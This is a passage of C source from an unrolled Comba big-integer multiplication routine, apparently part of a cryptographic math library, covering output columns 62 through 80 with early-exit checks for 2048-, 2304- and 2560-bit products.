at[91]); MULADD(at[36], at[90]); MULADD(at[37], at[89]); MULADD(at[38], at[88]); MULADD(at[39], at[87]); MULADD(at[40], at[86]); MULADD(at[41], at[85]); MULADD(at[42], at[84]); MULADD(at[43], at[83]); MULADD(at[44], at[82]); MULADD(at[45], at[81]); MULADD(at[46], at[80]); MULADD(at[47], at[79]); MULADD(at[48], at[78]); MULADD(at[49], at[77]); MULADD(at[50], at[76]); MULADD(at[51], at[75]); MULADD(at[52], at[74]); MULADD(at[53], at[73]); MULADD(at[54], at[72]); MULADD(at[55], at[71]); MULADD(at[56], at[70]); MULADD(at[57], at[69]); MULADD(at[58], at[68]); MULADD(at[59], at[67]); MULADD(at[60], at[66]); MULADD(at[61], at[65]); MULADD(at[62], at[64]);
COMBA_STORE(C->dp[62]);
/* early out at 64 digits, 64*32==2048, or two 1024 bit operands */
if (out_size <= 64) { COMBA_STORE2(C->dp[63]); C->used = 64; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 63 */
COMBA_FORWARD;
MULADD(at[0], at[127]); MULADD(at[1], at[126]); MULADD(at[2], at[125]); MULADD(at[3], at[124]); MULADD(at[4], at[123]); MULADD(at[5], at[122]); MULADD(at[6], at[121]); MULADD(at[7], at[120]); MULADD(at[8], at[119]); MULADD(at[9], at[118]); MULADD(at[10], at[117]); MULADD(at[11], at[116]); MULADD(at[12], at[115]); MULADD(at[13], at[114]); MULADD(at[14], at[113]); MULADD(at[15], at[112]); MULADD(at[16], at[111]); MULADD(at[17], at[110]); MULADD(at[18], at[109]); MULADD(at[19], at[108]); MULADD(at[20], at[107]); MULADD(at[21], at[106]); MULADD(at[22], at[105]); MULADD(at[23], at[104]); MULADD(at[24], at[103]); MULADD(at[25], at[102]); MULADD(at[26], at[101]); MULADD(at[27], at[100]); MULADD(at[28], at[99]); MULADD(at[29], at[98]); MULADD(at[30], at[97]); MULADD(at[31], at[96]); MULADD(at[32], at[95]); MULADD(at[33], at[94]); MULADD(at[34], at[93]); MULADD(at[35], at[92]); MULADD(at[36], at[91]); MULADD(at[37], at[90]); MULADD(at[38], at[89]); MULADD(at[39], at[88]); MULADD(at[40], at[87]); MULADD(at[41], at[86]); MULADD(at[42], at[85]); MULADD(at[43], at[84]); MULADD(at[44], at[83]); MULADD(at[45], at[82]); MULADD(at[46], at[81]); MULADD(at[47], at[80]); MULADD(at[48], at[79]); MULADD(at[49], at[78]); MULADD(at[50], at[77]); MULADD(at[51], at[76]); MULADD(at[52], at[75]); MULADD(at[53], at[74]); MULADD(at[54], at[73]); MULADD(at[55], at[72]); MULADD(at[56], at[71]); MULADD(at[57], at[70]); MULADD(at[58], at[69]); MULADD(at[59], at[68]); MULADD(at[60], at[67]); MULADD(at[61], at[66]); MULADD(at[62], at[65]); MULADD(at[63], at[64]);
COMBA_STORE(C->dp[63]);
/* 64 */
COMBA_FORWARD;
MULADD(at[1], at[127]); MULADD(at[2], at[126]); MULADD(at[3], at[125]); MULADD(at[4], at[124]); MULADD(at[5], at[123]); MULADD(at[6], at[122]); MULADD(at[7], at[121]); MULADD(at[8], at[120]); MULADD(at[9], at[119]); MULADD(at[10], at[118]); MULADD(at[11], at[117]); MULADD(at[12], at[116]); MULADD(at[13], at[115]); MULADD(at[14], at[114]); MULADD(at[15], at[113]); MULADD(at[16], at[112]); MULADD(at[17], at[111]); MULADD(at[18], at[110]); MULADD(at[19], at[109]); MULADD(at[20], at[108]); MULADD(at[21], at[107]); MULADD(at[22], at[106]); MULADD(at[23], at[105]); MULADD(at[24], at[104]); MULADD(at[25], at[103]); MULADD(at[26], at[102]); MULADD(at[27], at[101]); MULADD(at[28], at[100]); MULADD(at[29], at[99]); MULADD(at[30], at[98]); MULADD(at[31], at[97]); MULADD(at[32], at[96]); MULADD(at[33], at[95]); MULADD(at[34], at[94]); MULADD(at[35], at[93]); MULADD(at[36], at[92]); MULADD(at[37], at[91]); MULADD(at[38], at[90]); MULADD(at[39], at[89]); MULADD(at[40], at[88]); MULADD(at[41], at[87]); MULADD(at[42], at[86]); MULADD(at[43], at[85]); MULADD(at[44], at[84]); MULADD(at[45], at[83]); MULADD(at[46], at[82]); MULADD(at[47], at[81]); MULADD(at[48], at[80]); MULADD(at[49], at[79]); MULADD(at[50], at[78]); MULADD(at[51], at[77]); MULADD(at[52], at[76]); MULADD(at[53], at[75]); MULADD(at[54], at[74]); MULADD(at[55], at[73]); MULADD(at[56], at[72]); MULADD(at[57], at[71]); MULADD(at[58], at[70]); MULADD(at[59], at[69]); MULADD(at[60], at[68]); MULADD(at[61], at[67]); MULADD(at[62], at[66]); MULADD(at[63], at[65]);
COMBA_STORE(C->dp[64]);
/* 65 */
COMBA_FORWARD;
MULADD(at[2], at[127]); MULADD(at[3], at[126]); MULADD(at[4], at[125]); MULADD(at[5], at[124]); MULADD(at[6], at[123]); MULADD(at[7], at[122]); MULADD(at[8], at[121]); MULADD(at[9], at[120]); MULADD(at[10], at[119]); MULADD(at[11], at[118]); MULADD(at[12], at[117]); MULADD(at[13], at[116]); MULADD(at[14], at[115]); MULADD(at[15], at[114]); MULADD(at[16], at[113]); MULADD(at[17], at[112]); MULADD(at[18], at[111]); MULADD(at[19], at[110]); MULADD(at[20], at[109]); MULADD(at[21], at[108]); MULADD(at[22], at[107]); MULADD(at[23], at[106]); MULADD(at[24], at[105]); MULADD(at[25], at[104]); MULADD(at[26], at[103]); MULADD(at[27], at[102]); MULADD(at[28], at[101]); MULADD(at[29], at[100]); MULADD(at[30], at[99]); MULADD(at[31], at[98]); MULADD(at[32], at[97]); MULADD(at[33], at[96]); MULADD(at[34], at[95]); MULADD(at[35], at[94]); MULADD(at[36], at[93]); MULADD(at[37], at[92]); MULADD(at[38], at[91]); MULADD(at[39], at[90]); MULADD(at[40], at[89]); MULADD(at[41], at[88]); MULADD(at[42], at[87]); MULADD(at[43], at[86]); MULADD(at[44], at[85]); MULADD(at[45], at[84]); MULADD(at[46], at[83]); MULADD(at[47], at[82]); MULADD(at[48], at[81]); MULADD(at[49], at[80]); MULADD(at[50], at[79]); MULADD(at[51], at[78]); MULADD(at[52], at[77]); MULADD(at[53], at[76]); MULADD(at[54], at[75]); MULADD(at[55], at[74]); MULADD(at[56], at[73]); MULADD(at[57], at[72]); MULADD(at[58], at[71]); MULADD(at[59], at[70]); MULADD(at[60], at[69]); MULADD(at[61], at[68]); MULADD(at[62], at[67]); MULADD(at[63], at[66]);
COMBA_STORE(C->dp[65]);
/* 66 */
COMBA_FORWARD;
MULADD(at[3], at[127]); MULADD(at[4], at[126]); MULADD(at[5], at[125]); MULADD(at[6], at[124]); MULADD(at[7], at[123]); MULADD(at[8], at[122]); MULADD(at[9], at[121]); MULADD(at[10], at[120]); MULADD(at[11], at[119]); MULADD(at[12], at[118]); MULADD(at[13], at[117]); MULADD(at[14], at[116]); MULADD(at[15], at[115]); MULADD(at[16], at[114]); MULADD(at[17], at[113]); MULADD(at[18], at[112]); MULADD(at[19], at[111]); MULADD(at[20], at[110]); MULADD(at[21], at[109]); MULADD(at[22], at[108]); MULADD(at[23], at[107]); MULADD(at[24], at[106]); MULADD(at[25], at[105]); MULADD(at[26], at[104]); MULADD(at[27], at[103]); MULADD(at[28], at[102]); MULADD(at[29], at[101]); MULADD(at[30], at[100]); MULADD(at[31], at[99]); MULADD(at[32], at[98]); MULADD(at[33], at[97]); MULADD(at[34], at[96]); MULADD(at[35], at[95]); MULADD(at[36], at[94]); MULADD(at[37], at[93]); MULADD(at[38], at[92]); MULADD(at[39], at[91]); MULADD(at[40], at[90]); MULADD(at[41], at[89]); MULADD(at[42], at[88]); MULADD(at[43], at[87]); MULADD(at[44], at[86]); MULADD(at[45], at[85]); MULADD(at[46], at[84]); MULADD(at[47], at[83]); MULADD(at[48], at[82]); MULADD(at[49], at[81]); MULADD(at[50], at[80]); MULADD(at[51], at[79]); MULADD(at[52], at[78]); MULADD(at[53], at[77]); MULADD(at[54], at[76]); MULADD(at[55], at[75]); MULADD(at[56], at[74]); MULADD(at[57], at[73]); MULADD(at[58], at[72]); MULADD(at[59], at[71]); MULADD(at[60], at[70]); MULADD(at[61], at[69]); MULADD(at[62], at[68]); MULADD(at[63], at[67]);
COMBA_STORE(C->dp[66]);
/* 67 */
COMBA_FORWARD;
MULADD(at[4], at[127]); MULADD(at[5], at[126]); MULADD(at[6], at[125]); MULADD(at[7], at[124]); MULADD(at[8], at[123]); MULADD(at[9], at[122]); MULADD(at[10], at[121]); MULADD(at[11], at[120]); MULADD(at[12], at[119]); MULADD(at[13], at[118]); MULADD(at[14], at[117]); MULADD(at[15], at[116]); MULADD(at[16], at[115]); MULADD(at[17], at[114]); MULADD(at[18], at[113]); MULADD(at[19], at[112]); MULADD(at[20], at[111]); MULADD(at[21], at[110]); MULADD(at[22], at[109]); MULADD(at[23], at[108]); MULADD(at[24], at[107]); MULADD(at[25], at[106]); MULADD(at[26], at[105]); MULADD(at[27], at[104]); MULADD(at[28], at[103]); MULADD(at[29], at[102]); MULADD(at[30], at[101]); MULADD(at[31], at[100]); MULADD(at[32], at[99]); MULADD(at[33], at[98]); MULADD(at[34], at[97]); MULADD(at[35], at[96]); MULADD(at[36], at[95]); MULADD(at[37], at[94]); MULADD(at[38], at[93]); MULADD(at[39], at[92]); MULADD(at[40], at[91]); MULADD(at[41], at[90]); MULADD(at[42], at[89]); MULADD(at[43], at[88]); MULADD(at[44], at[87]); MULADD(at[45], at[86]); MULADD(at[46], at[85]); MULADD(at[47], at[84]); MULADD(at[48], at[83]); MULADD(at[49], at[82]); MULADD(at[50], at[81]); MULADD(at[51], at[80]); MULADD(at[52], at[79]); MULADD(at[53], at[78]); MULADD(at[54], at[77]); MULADD(at[55], at[76]); MULADD(at[56], at[75]); MULADD(at[57], at[74]); MULADD(at[58], at[73]); MULADD(at[59], at[72]); MULADD(at[60], at[71]); MULADD(at[61], at[70]); MULADD(at[62], at[69]); MULADD(at[63], at[68]);
COMBA_STORE(C->dp[67]);
/* 68 */
COMBA_FORWARD;
MULADD(at[5], at[127]); MULADD(at[6], at[126]); MULADD(at[7], at[125]); MULADD(at[8], at[124]); MULADD(at[9], at[123]); MULADD(at[10], at[122]); MULADD(at[11], at[121]); MULADD(at[12], at[120]); MULADD(at[13], at[119]); MULADD(at[14], at[118]); MULADD(at[15], at[117]); MULADD(at[16], at[116]); MULADD(at[17], at[115]); MULADD(at[18], at[114]); MULADD(at[19], at[113]); MULADD(at[20], at[112]); MULADD(at[21], at[111]); MULADD(at[22], at[110]); MULADD(at[23], at[109]); MULADD(at[24], at[108]); MULADD(at[25], at[107]); MULADD(at[26], at[106]); MULADD(at[27], at[105]); MULADD(at[28], at[104]); MULADD(at[29], at[103]); MULADD(at[30], at[102]); MULADD(at[31], at[101]); MULADD(at[32], at[100]); MULADD(at[33], at[99]); MULADD(at[34], at[98]); MULADD(at[35], at[97]); MULADD(at[36], at[96]); MULADD(at[37], at[95]); MULADD(at[38], at[94]); MULADD(at[39], at[93]); MULADD(at[40], at[92]); MULADD(at[41], at[91]); MULADD(at[42], at[90]); MULADD(at[43], at[89]); MULADD(at[44], at[88]); MULADD(at[45], at[87]); MULADD(at[46], at[86]); MULADD(at[47], at[85]); MULADD(at[48], at[84]); MULADD(at[49], at[83]); MULADD(at[50], at[82]); MULADD(at[51], at[81]); MULADD(at[52], at[80]); MULADD(at[53], at[79]); MULADD(at[54], at[78]); MULADD(at[55], at[77]); MULADD(at[56], at[76]); MULADD(at[57], at[75]); MULADD(at[58], at[74]); MULADD(at[59], at[73]); MULADD(at[60], at[72]); MULADD(at[61], at[71]); MULADD(at[62], at[70]); MULADD(at[63], at[69]);
COMBA_STORE(C->dp[68]);
/* 69 */
COMBA_FORWARD;
MULADD(at[6], at[127]); MULADD(at[7], at[126]); MULADD(at[8], at[125]); MULADD(at[9], at[124]); MULADD(at[10], at[123]); MULADD(at[11], at[122]); MULADD(at[12], at[121]); MULADD(at[13], at[120]); MULADD(at[14], at[119]); MULADD(at[15], at[118]); MULADD(at[16], at[117]); MULADD(at[17], at[116]); MULADD(at[18], at[115]); MULADD(at[19], at[114]); MULADD(at[20], at[113]); MULADD(at[21], at[112]); MULADD(at[22], at[111]); MULADD(at[23], at[110]); MULADD(at[24], at[109]); MULADD(at[25], at[108]); MULADD(at[26], at[107]); MULADD(at[27], at[106]); MULADD(at[28], at[105]); MULADD(at[29], at[104]); MULADD(at[30], at[103]); MULADD(at[31], at[102]); MULADD(at[32], at[101]); MULADD(at[33], at[100]); MULADD(at[34], at[99]); MULADD(at[35], at[98]); MULADD(at[36], at[97]); MULADD(at[37], at[96]); MULADD(at[38], at[95]); MULADD(at[39], at[94]); MULADD(at[40], at[93]); MULADD(at[41], at[92]); MULADD(at[42], at[91]); MULADD(at[43], at[90]); MULADD(at[44], at[89]); MULADD(at[45], at[88]); MULADD(at[46], at[87]); MULADD(at[47], at[86]); MULADD(at[48], at[85]); MULADD(at[49], at[84]); MULADD(at[50], at[83]); MULADD(at[51], at[82]); MULADD(at[52], at[81]); MULADD(at[53], at[80]); MULADD(at[54], at[79]); MULADD(at[55], at[78]); MULADD(at[56], at[77]); MULADD(at[57], at[76]); MULADD(at[58], at[75]); MULADD(at[59], at[74]); MULADD(at[60], at[73]); MULADD(at[61], at[72]); MULADD(at[62], at[71]); MULADD(at[63], at[70]);
COMBA_STORE(C->dp[69]);
/* 70 */
COMBA_FORWARD;
MULADD(at[7], at[127]); MULADD(at[8], at[126]); MULADD(at[9], at[125]); MULADD(at[10], at[124]); MULADD(at[11], at[123]); MULADD(at[12], at[122]); MULADD(at[13], at[121]); MULADD(at[14], at[120]); MULADD(at[15], at[119]); MULADD(at[16], at[118]); MULADD(at[17], at[117]); MULADD(at[18], at[116]); MULADD(at[19], at[115]); MULADD(at[20], at[114]); MULADD(at[21], at[113]); MULADD(at[22], at[112]); MULADD(at[23], at[111]); MULADD(at[24], at[110]); MULADD(at[25], at[109]); MULADD(at[26], at[108]); MULADD(at[27], at[107]); MULADD(at[28], at[106]); MULADD(at[29], at[105]); MULADD(at[30], at[104]); MULADD(at[31], at[103]); MULADD(at[32], at[102]); MULADD(at[33], at[101]); MULADD(at[34], at[100]); MULADD(at[35], at[99]); MULADD(at[36], at[98]); MULADD(at[37], at[97]); MULADD(at[38], at[96]); MULADD(at[39], at[95]); MULADD(at[40], at[94]); MULADD(at[41], at[93]); MULADD(at[42], at[92]); MULADD(at[43], at[91]); MULADD(at[44], at[90]); MULADD(at[45], at[89]); MULADD(at[46], at[88]); MULADD(at[47], at[87]); MULADD(at[48], at[86]); MULADD(at[49], at[85]); MULADD(at[50], at[84]); MULADD(at[51], at[83]); MULADD(at[52], at[82]); MULADD(at[53], at[81]); MULADD(at[54], at[80]); MULADD(at[55], at[79]); MULADD(at[56], at[78]); MULADD(at[57], at[77]); MULADD(at[58], at[76]); MULADD(at[59], at[75]); MULADD(at[60], at[74]); MULADD(at[61], at[73]); MULADD(at[62], at[72]); MULADD(at[63], at[71]);
COMBA_STORE(C->dp[70]);
/* early out at 72 digits, 72*32==2304, or two 1152 bit operands */
if (out_size <= 72) { COMBA_STORE2(C->dp[71]); C->used = 72; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 71 */
COMBA_FORWARD;
MULADD(at[8], at[127]); MULADD(at[9], at[126]); MULADD(at[10], at[125]); MULADD(at[11], at[124]); MULADD(at[12], at[123]); MULADD(at[13], at[122]); MULADD(at[14], at[121]); MULADD(at[15], at[120]); MULADD(at[16], at[119]); MULADD(at[17], at[118]); MULADD(at[18], at[117]); MULADD(at[19], at[116]); MULADD(at[20], at[115]); MULADD(at[21], at[114]); MULADD(at[22], at[113]); MULADD(at[23], at[112]); MULADD(at[24], at[111]); MULADD(at[25], at[110]); MULADD(at[26], at[109]); MULADD(at[27], at[108]); MULADD(at[28], at[107]); MULADD(at[29], at[106]); MULADD(at[30], at[105]); MULADD(at[31], at[104]); MULADD(at[32], at[103]); MULADD(at[33], at[102]); MULADD(at[34], at[101]); MULADD(at[35], at[100]); MULADD(at[36], at[99]); MULADD(at[37], at[98]); MULADD(at[38], at[97]); MULADD(at[39], at[96]); MULADD(at[40], at[95]); MULADD(at[41], at[94]); MULADD(at[42], at[93]); MULADD(at[43], at[92]); MULADD(at[44], at[91]); MULADD(at[45], at[90]); MULADD(at[46], at[89]); MULADD(at[47], at[88]); MULADD(at[48], at[87]); MULADD(at[49], at[86]); MULADD(at[50], at[85]); MULADD(at[51], at[84]); MULADD(at[52], at[83]); MULADD(at[53], at[82]); MULADD(at[54], at[81]); MULADD(at[55], at[80]); MULADD(at[56], at[79]); MULADD(at[57], at[78]); MULADD(at[58], at[77]); MULADD(at[59], at[76]); MULADD(at[60], at[75]); MULADD(at[61], at[74]); MULADD(at[62], at[73]); MULADD(at[63], at[72]);
COMBA_STORE(C->dp[71]);
/* 72 */
COMBA_FORWARD;
MULADD(at[9], at[127]); MULADD(at[10], at[126]); MULADD(at[11], at[125]); MULADD(at[12], at[124]); MULADD(at[13], at[123]); MULADD(at[14], at[122]); MULADD(at[15], at[121]); MULADD(at[16], at[120]); MULADD(at[17], at[119]); MULADD(at[18], at[118]); MULADD(at[19], at[117]); MULADD(at[20], at[116]); MULADD(at[21], at[115]); MULADD(at[22], at[114]); MULADD(at[23], at[113]); MULADD(at[24], at[112]); MULADD(at[25], at[111]); MULADD(at[26], at[110]); MULADD(at[27], at[109]); MULADD(at[28], at[108]); MULADD(at[29], at[107]); MULADD(at[30], at[106]); MULADD(at[31], at[105]); MULADD(at[32], at[104]); MULADD(at[33], at[103]); MULADD(at[34], at[102]); MULADD(at[35], at[101]); MULADD(at[36], at[100]); MULADD(at[37], at[99]); MULADD(at[38], at[98]); MULADD(at[39], at[97]); MULADD(at[40], at[96]); MULADD(at[41], at[95]); MULADD(at[42], at[94]); MULADD(at[43], at[93]); MULADD(at[44], at[92]); MULADD(at[45], at[91]); MULADD(at[46], at[90]); MULADD(at[47], at[89]); MULADD(at[48], at[88]); MULADD(at[49], at[87]); MULADD(at[50], at[86]); MULADD(at[51], at[85]); MULADD(at[52], at[84]); MULADD(at[53], at[83]); MULADD(at[54], at[82]); MULADD(at[55], at[81]); MULADD(at[56], at[80]); MULADD(at[57], at[79]); MULADD(at[58], at[78]); MULADD(at[59], at[77]); MULADD(at[60], at[76]); MULADD(at[61], at[75]); MULADD(at[62], at[74]); MULADD(at[63], at[73]);
COMBA_STORE(C->dp[72]);
/* 73 */
COMBA_FORWARD;
MULADD(at[10], at[127]); MULADD(at[11], at[126]); MULADD(at[12], at[125]); MULADD(at[13], at[124]); MULADD(at[14], at[123]); MULADD(at[15], at[122]); MULADD(at[16], at[121]); MULADD(at[17], at[120]); MULADD(at[18], at[119]); MULADD(at[19], at[118]); MULADD(at[20], at[117]); MULADD(at[21], at[116]); MULADD(at[22], at[115]); MULADD(at[23], at[114]); MULADD(at[24], at[113]); MULADD(at[25], at[112]); MULADD(at[26], at[111]); MULADD(at[27], at[110]); MULADD(at[28], at[109]); MULADD(at[29], at[108]); MULADD(at[30], at[107]); MULADD(at[31], at[106]); MULADD(at[32], at[105]); MULADD(at[33], at[104]); MULADD(at[34], at[103]); MULADD(at[35], at[102]); MULADD(at[36], at[101]); MULADD(at[37], at[100]); MULADD(at[38], at[99]); MULADD(at[39], at[98]); MULADD(at[40], at[97]); MULADD(at[41], at[96]); MULADD(at[42], at[95]); MULADD(at[43], at[94]); MULADD(at[44], at[93]); MULADD(at[45], at[92]); MULADD(at[46], at[91]); MULADD(at[47], at[90]); MULADD(at[48], at[89]); MULADD(at[49], at[88]); MULADD(at[50], at[87]); MULADD(at[51], at[86]); MULADD(at[52], at[85]); MULADD(at[53], at[84]); MULADD(at[54], at[83]); MULADD(at[55], at[82]); MULADD(at[56], at[81]); MULADD(at[57], at[80]); MULADD(at[58], at[79]); MULADD(at[59], at[78]); MULADD(at[60], at[77]); MULADD(at[61], at[76]); MULADD(at[62], at[75]); MULADD(at[63], at[74]);
COMBA_STORE(C->dp[73]);
/* 74 */
COMBA_FORWARD;
MULADD(at[11], at[127]); MULADD(at[12], at[126]); MULADD(at[13], at[125]); MULADD(at[14], at[124]); MULADD(at[15], at[123]); MULADD(at[16], at[122]); MULADD(at[17], at[121]); MULADD(at[18], at[120]); MULADD(at[19], at[119]); MULADD(at[20], at[118]); MULADD(at[21], at[117]); MULADD(at[22], at[116]); MULADD(at[23], at[115]); MULADD(at[24], at[114]); MULADD(at[25], at[113]); MULADD(at[26], at[112]); MULADD(at[27], at[111]); MULADD(at[28], at[110]); MULADD(at[29], at[109]); MULADD(at[30], at[108]); MULADD(at[31], at[107]); MULADD(at[32], at[106]); MULADD(at[33], at[105]); MULADD(at[34], at[104]); MULADD(at[35], at[103]); MULADD(at[36], at[102]); MULADD(at[37], at[101]); MULADD(at[38], at[100]); MULADD(at[39], at[99]); MULADD(at[40], at[98]); MULADD(at[41], at[97]); MULADD(at[42], at[96]); MULADD(at[43], at[95]); MULADD(at[44], at[94]); MULADD(at[45], at[93]); MULADD(at[46], at[92]); MULADD(at[47], at[91]); MULADD(at[48], at[90]); MULADD(at[49], at[89]); MULADD(at[50], at[88]); MULADD(at[51], at[87]); MULADD(at[52], at[86]); MULADD(at[53], at[85]); MULADD(at[54], at[84]); MULADD(at[55], at[83]); MULADD(at[56], at[82]); MULADD(at[57], at[81]); MULADD(at[58], at[80]); MULADD(at[59], at[79]); MULADD(at[60], at[78]); MULADD(at[61], at[77]); MULADD(at[62], at[76]); MULADD(at[63], at[75]);
COMBA_STORE(C->dp[74]);
/* 75 */
COMBA_FORWARD;
MULADD(at[12], at[127]); MULADD(at[13], at[126]); MULADD(at[14], at[125]); MULADD(at[15], at[124]); MULADD(at[16], at[123]); MULADD(at[17], at[122]); MULADD(at[18], at[121]); MULADD(at[19], at[120]); MULADD(at[20], at[119]); MULADD(at[21], at[118]); MULADD(at[22], at[117]); MULADD(at[23], at[116]); MULADD(at[24], at[115]); MULADD(at[25], at[114]); MULADD(at[26], at[113]); MULADD(at[27], at[112]); MULADD(at[28], at[111]); MULADD(at[29], at[110]); MULADD(at[30], at[109]); MULADD(at[31], at[108]); MULADD(at[32], at[107]); MULADD(at[33], at[106]); MULADD(at[34], at[105]); MULADD(at[35], at[104]); MULADD(at[36], at[103]); MULADD(at[37], at[102]); MULADD(at[38], at[101]); MULADD(at[39], at[100]); MULADD(at[40], at[99]); MULADD(at[41], at[98]); MULADD(at[42], at[97]); MULADD(at[43], at[96]); MULADD(at[44], at[95]); MULADD(at[45], at[94]); MULADD(at[46], at[93]); MULADD(at[47], at[92]); MULADD(at[48], at[91]); MULADD(at[49], at[90]); MULADD(at[50], at[89]); MULADD(at[51], at[88]); MULADD(at[52], at[87]); MULADD(at[53], at[86]); MULADD(at[54], at[85]); MULADD(at[55], at[84]); MULADD(at[56], at[83]); MULADD(at[57], at[82]); MULADD(at[58], at[81]); MULADD(at[59], at[80]); MULADD(at[60], at[79]); MULADD(at[61], at[78]); MULADD(at[62], at[77]); MULADD(at[63], at[76]);
COMBA_STORE(C->dp[75]);
/* 76 */
COMBA_FORWARD;
MULADD(at[13], at[127]); MULADD(at[14], at[126]); MULADD(at[15], at[125]); MULADD(at[16], at[124]); MULADD(at[17], at[123]); MULADD(at[18], at[122]); MULADD(at[19], at[121]); MULADD(at[20], at[120]); MULADD(at[21], at[119]); MULADD(at[22], at[118]); MULADD(at[23], at[117]); MULADD(at[24], at[116]); MULADD(at[25], at[115]); MULADD(at[26], at[114]); MULADD(at[27], at[113]); MULADD(at[28], at[112]); MULADD(at[29], at[111]); MULADD(at[30], at[110]); MULADD(at[31], at[109]); MULADD(at[32], at[108]); MULADD(at[33], at[107]); MULADD(at[34], at[106]); MULADD(at[35], at[105]); MULADD(at[36], at[104]); MULADD(at[37], at[103]); MULADD(at[38], at[102]); MULADD(at[39], at[101]); MULADD(at[40], at[100]); MULADD(at[41], at[99]); MULADD(at[42], at[98]); MULADD(at[43], at[97]); MULADD(at[44], at[96]); MULADD(at[45], at[95]); MULADD(at[46], at[94]); MULADD(at[47], at[93]); MULADD(at[48], at[92]); MULADD(at[49], at[91]); MULADD(at[50], at[90]); MULADD(at[51], at[89]); MULADD(at[52], at[88]); MULADD(at[53], at[87]); MULADD(at[54], at[86]); MULADD(at[55], at[85]); MULADD(at[56], at[84]); MULADD(at[57], at[83]); MULADD(at[58], at[82]); MULADD(at[59], at[81]); MULADD(at[60], at[80]); MULADD(at[61], at[79]); MULADD(at[62], at[78]); MULADD(at[63], at[77]);
COMBA_STORE(C->dp[76]);
/* 77 */
COMBA_FORWARD;
MULADD(at[14], at[127]); MULADD(at[15], at[126]); MULADD(at[16], at[125]); MULADD(at[17], at[124]); MULADD(at[18], at[123]); MULADD(at[19], at[122]); MULADD(at[20], at[121]); MULADD(at[21], at[120]); MULADD(at[22], at[119]); MULADD(at[23], at[118]); MULADD(at[24], at[117]); MULADD(at[25], at[116]); MULADD(at[26], at[115]); MULADD(at[27], at[114]); MULADD(at[28], at[113]); MULADD(at[29], at[112]); MULADD(at[30], at[111]); MULADD(at[31], at[110]); MULADD(at[32], at[109]); MULADD(at[33], at[108]); MULADD(at[34], at[107]); MULADD(at[35], at[106]); MULADD(at[36], at[105]); MULADD(at[37], at[104]); MULADD(at[38], at[103]); MULADD(at[39], at[102]); MULADD(at[40], at[101]); MULADD(at[41], at[100]); MULADD(at[42], at[99]); MULADD(at[43], at[98]); MULADD(at[44], at[97]); MULADD(at[45], at[96]); MULADD(at[46], at[95]); MULADD(at[47], at[94]); MULADD(at[48], at[93]); MULADD(at[49], at[92]); MULADD(at[50], at[91]); MULADD(at[51], at[90]); MULADD(at[52], at[89]); MULADD(at[53], at[88]); MULADD(at[54], at[87]); MULADD(at[55], at[86]); MULADD(at[56], at[85]); MULADD(at[57], at[84]); MULADD(at[58], at[83]); MULADD(at[59], at[82]); MULADD(at[60], at[81]); MULADD(at[61], at[80]); MULADD(at[62], at[79]); MULADD(at[63], at[78]);
COMBA_STORE(C->dp[77]);
/* 78 */
COMBA_FORWARD;
MULADD(at[15], at[127]); MULADD(at[16], at[126]); MULADD(at[17], at[125]); MULADD(at[18], at[124]); MULADD(at[19], at[123]); MULADD(at[20], at[122]); MULADD(at[21], at[121]); MULADD(at[22], at[120]); MULADD(at[23], at[119]); MULADD(at[24], at[118]); MULADD(at[25], at[117]); MULADD(at[26], at[116]); MULADD(at[27], at[115]); MULADD(at[28], at[114]); MULADD(at[29], at[113]); MULADD(at[30], at[112]); MULADD(at[31], at[111]); MULADD(at[32], at[110]); MULADD(at[33], at[109]); MULADD(at[34], at[108]); MULADD(at[35], at[107]); MULADD(at[36], at[106]); MULADD(at[37], at[105]); MULADD(at[38], at[104]); MULADD(at[39], at[103]); MULADD(at[40], at[102]); MULADD(at[41], at[101]); MULADD(at[42], at[100]); MULADD(at[43], at[99]); MULADD(at[44], at[98]); MULADD(at[45], at[97]); MULADD(at[46], at[96]); MULADD(at[47], at[95]); MULADD(at[48], at[94]); MULADD(at[49], at[93]); MULADD(at[50], at[92]); MULADD(at[51], at[91]); MULADD(at[52], at[90]); MULADD(at[53], at[89]); MULADD(at[54], at[88]); MULADD(at[55], at[87]); MULADD(at[56], at[86]); MULADD(at[57], at[85]); MULADD(at[58], at[84]); MULADD(at[59], at[83]); MULADD(at[60], at[82]); MULADD(at[61], at[81]); MULADD(at[62], at[80]); MULADD(at[63], at[79]);
COMBA_STORE(C->dp[78]);
/* early out at 80 digits, 80*32==2560, or two 1280 bit operands */
if (out_size <= 80) { COMBA_STORE2(C->dp[79]); C->used = 80; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 79 */
COMBA_FORWARD;
MULADD(at[16], at[127]); MULADD(at[17], at[126]); MULADD(at[18], at[125]); MULADD(at[19], at[124]); MULADD(at[20], at[123]); MULADD(at[21], at[122]); MULADD(at[22], at[121]); MULADD(at[23], at[120]); MULADD(at[24], at[119]); MULADD(at[25], at[118]); MULADD(at[26], at[117]); MULADD(at[27], at[116]); MULADD(at[28], at[115]); MULADD(at[29], at[114]); MULADD(at[30], at[113]); MULADD(at[31], at[112]); MULADD(at[32], at[111]); MULADD(at[33], at[110]); MULADD(at[34], at[109]); MULADD(at[35], at[108]); MULADD(at[36], at[107]); MULADD(at[37], at[106]); MULADD(at[38], at[105]); MULADD(at[39], at[104]); MULADD(at[40], at[103]); MULADD(at[41], at[102]); MULADD(at[42], at[101]); MULADD(at[43], at[100]); MULADD(at[44], at[99]); MULADD(at[45], at[98]); MULADD(at[46], at[97]); MULADD(at[47], at[96]); MULADD(at[48], at[95]); MULADD(at[49], at[94]); MULADD(at[50], at[93]); MULADD(at[51], at[92]); MULADD(at[52], at[91]); MULADD(at[53], at[90]); MULADD(at[54], at[89]); MULADD(at[55], at[88]); MULADD(at[56], at[87]); MULADD(at[57], at[86]); MULADD(at[58], at[85]); MULADD(at[59], at[84]); MULADD(at[60], at[83]); MULADD(at[61], at[82]); MULADD(at[62], at[81]); MULADD(at[63], at[80]);
COMBA_STORE(C->dp[79]);
/* 80 */
COMBA_FORWARD;
